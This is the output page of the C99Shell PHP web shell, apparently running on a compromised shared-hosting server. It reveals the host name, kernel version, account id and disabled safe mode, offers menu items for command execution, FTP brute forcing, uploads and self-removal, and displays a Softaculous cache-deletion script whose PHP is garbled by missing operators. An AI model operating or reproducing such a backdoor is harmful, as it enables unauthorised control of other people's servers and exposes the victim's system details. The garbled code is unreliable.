!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/elgg3/   drwxr-xr-x
Free 294.35 GB of 429.69 GB (68.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     soft_delete.php (3.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//Remove var/cache directory recursively
rmdir_recursive_fn('[[softdatadir]]/caches/');

function 
rmdir_recursive_fn($path){
        
    
$path = (substr($path, -1) == '/' || substr($path, -1) == '\\' $path $path.'/');
    
    
resetfilelist();
    
    
$files filelist($path10'all');
    
$files = (!is_array($files) ? array() : $files);
    
    
//First delete the files only
    
foreach($files as $k => $v){
            @
chmod($k0777);
        if(
file_exists($k) && is_file($k) && @filetype($k) == "file"){
            @
unlink($k);
        }
    }
    
    @
clearstatcache();
    
    
$folders filelist($path11'all');
    
$folders = (!is_array($folders) ? array() : $folders);
    @
krsort($folders);

    
//Now Delete the FOLDERS
    
foreach($folders as $k => $v){
            @
chmod($k0777);
        if(
is_dir($k)){
            @
rmdir($k);
        }
    }
    
    @
rmdir($path);
    
    @
clearstatcache();

}

function 
resetfilelist(){
global 
$directorylist;
    
$directorylist = array();
}

function 
filelist($startdir="./"$searchSubdirs=1$directoriesonly=0$maxlevel="all"$level=1$reset 1) {
   
//list the directory/file names that you want to ignore
   
$ignoredDirectory[] = ".";
   
$ignoredDirectory[] = "..";
   
$ignoredDirectory[] = "_vti_cnf";
   global 
$directorylist;    //initialize global array
   
   
if(substr($startdir, -1) != '/'){
        
$startdir $startdir.'/';
    }
   
   if (
is_dir($startdir)) {
       if (
$dh opendir($startdir)) {
           while ((
$file readdir($dh)) !== false) {
               if (!(
array_search($file,$ignoredDirectory) > -1)) {
                 if (@
filetype($startdir $file) == "dir") {
                     
                       
//build your directory array however you choose;
                       //add other file details that you want.
                       
                       
$directorylist[$startdir $file]['level'] = $level;
                       
$directorylist[$startdir $file]['dir'] = 1;
                       
$directorylist[$startdir $file]['name'] = $file;
                       
$directorylist[$startdir $file]['path'] = $startdir;
                       if (
$searchSubdirs) {
                           if (((
$maxlevel) == "all") or ($maxlevel $level)) {
                               
filelist($startdir $file "/"$searchSubdirs$directoriesonly$maxlevel, ($level 1), 0);
                           }
                       }
                      
                       
                   } else {
                       if (!
$directoriesonly) {
                         
                      
//  echo substr(strrchr($file, "."), 1);
                           //if you want to include files; build your file array 
                           //however you choose; add other file details that you want.
                         
$directorylist[$startdir $file]['level'] = $level;
                         
$directorylist[$startdir $file]['dir'] = 0;
                         
$directorylist[$startdir $file]['name'] = $file;
                         
$directorylist[$startdir $file]['path'] = $startdir;
                          
                     
     }}}}
           
closedir($dh);
}}

if(!empty(
$reset)){
    
$r $directorylist;
    
$directorylist = array();
    return(
$r);
}
}

@
unlink('soft_delete.php');

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0991 ]--